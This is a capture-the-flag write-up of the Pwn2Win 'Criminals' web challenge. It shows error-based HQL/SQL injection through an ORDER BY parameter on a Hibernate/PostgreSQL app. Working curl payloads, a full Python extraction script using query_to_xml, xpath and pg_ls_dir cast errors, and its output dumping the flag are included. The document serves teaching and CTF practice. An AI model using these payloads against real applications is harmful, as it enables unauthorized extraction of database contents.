[Web] Pwn2Win - Criminals


Criminals

Hey, Rebellious member, let’s hack this Bloodsuckers web app. I think they keep some secret.

http://200.136.213.109/

Automated tools are NOT required and NOT allowed.

Id: criminals

Total solves: 9

Score: 363

Categories: Web

This web challenge only has one page and has this form bellow:


The form has 4 inputs if we test each one of them with a single quote we will notice that an error pops up and we can see the admin of the website did use prepared statements but forgot about the order GET param:



Now to solve this challenge we need first to check which dbms is running by just checking the error in the image we can see that is running on HBL (The Hibernate Query Language), some kind of a modified SQL with some restrictions, before talking about this lets first find which dbms is running:

1
2
3
4
5
6
7
8
$ curl 'http://200.136.213.109/'  --data "name=&age=&crime=&order=abs(1)||2" 2>/dev/null | grep 'post'
</pre><p><b>root cause</b></p><pre>org.postgresql.util.PSQLException: ERROR: operator does not exist: integer || integer
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2102)
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1835)
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:257)
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:500)
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:388)
org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:273)

With this query we can generate an error that leaks the dbms it’s postgresql! now we need to find a way to inject and dump the database, I knew some injections in order by with mysql but in postgresql is somehow different and what the worst about this are the limitations we got from HBL.

AAfter spending alot of time trying to execute a subquery, I started searching on google, I knew we needed to something related with XML queries (Order by injections in MySql are similar) and then I found this great slides:

https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf


This is perfect to put in the order by query this will return an integer and we can execute a subquery like we wanted, but the question is how are we going to leaking info? Postgres has a very nice feature, if we cast a string into an integer from a select for example we will generate an error! and the output of that sql query will be printed in the error! For this I used another function called pg_ls_dir this can list directories, if we use this to list the current directory and cast it into integer we are going to generate an error, leaking the directory for example:

1
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir(CHR(46))as int)', true,  false,'')),1)

The output of this query is:


As you can see above we leaked one directory named pg_xlog we can do exactly the same but instead of trying to read the log files we can leak the tables like this:

1
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 0)) as int)', true,  false,'')),1)

The output of this query is:

1
2
3
4
5
$ curl 'http://200.136.213.109/'  --data "name=&age=&crime=&order=array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 0)) as int)', true,  false,'')),1)" 2>/dev/null | grep 'root cause'
</pre><p><b>root cause</b></p><pre>javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: could not extract ResultSet
</pre><p><b>root cause</b></p><pre>org.hibernate.exception.GenericJDBCException: could not extract ResultSet
</pre><p><b>root cause</b></p><pre>org.postgresql.util.PSQLException: ERROR: could not open directory &quot;secret,flag&quot;: No such file or directory
</pre><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/8.0.47 logs.</u></p><hr class="line"><h3>Apache Tomcat/8.0.47</h3></body></html>

We just leaked the table flag and the column secret! we can easily write a python script that leaks all the tables and gets the flag for us like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import re

host = 'http://200.136.213.109/'
data = {'name':'','crime':'','order':'','age':''}
query = "array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset {})) as int)', true, false,'')),1)"
queryflag = "array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT secret FROM flag c limit 1 offset {})) as int)', true, false,'')),1)"
for x in xrange(0,6):
#print x
data['order'] = query.format(x)
print data['order']
r = requests.post(host, data=data)
print re.findall(r'&quot;([A-Za-z0-9_\-{},]+)&quot;', r.text)
data['order'] = queryflag.format(0)
print data['order']
r = requests.post(host,data=data)
print re.findall(r'&quot;([A-Za-z0-9_\-{}]+)&quot;', r.text)

Now running the script:

$ python HQLI.py
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 0)) as int)', true,  false,'')),1)
[u'secret,flag']
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 1)) as int)', true,  false,'')),1)
[u'id,criminal']
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 2)) as int)', true,  false,'')),1)
[u'age,criminal']
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 3)) as int)', true,  false,'')),1)
[u'crime,criminal']
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 4)) as int)', true,  false,'')),1)
[u'last_location,criminal']
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT column_name || CHR(44) || table_name FROM information_schema.columns c limit 1 offset 5)) as int)', true,  false,'')),1)
[u'name,criminal']
array_upper(xpath ('row', query_to_xml ('select cast(pg_ls_dir((SELECT secret FROM flag c limit 1 offset 0)) as int)', true,  false,'')),1)
[u'CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}']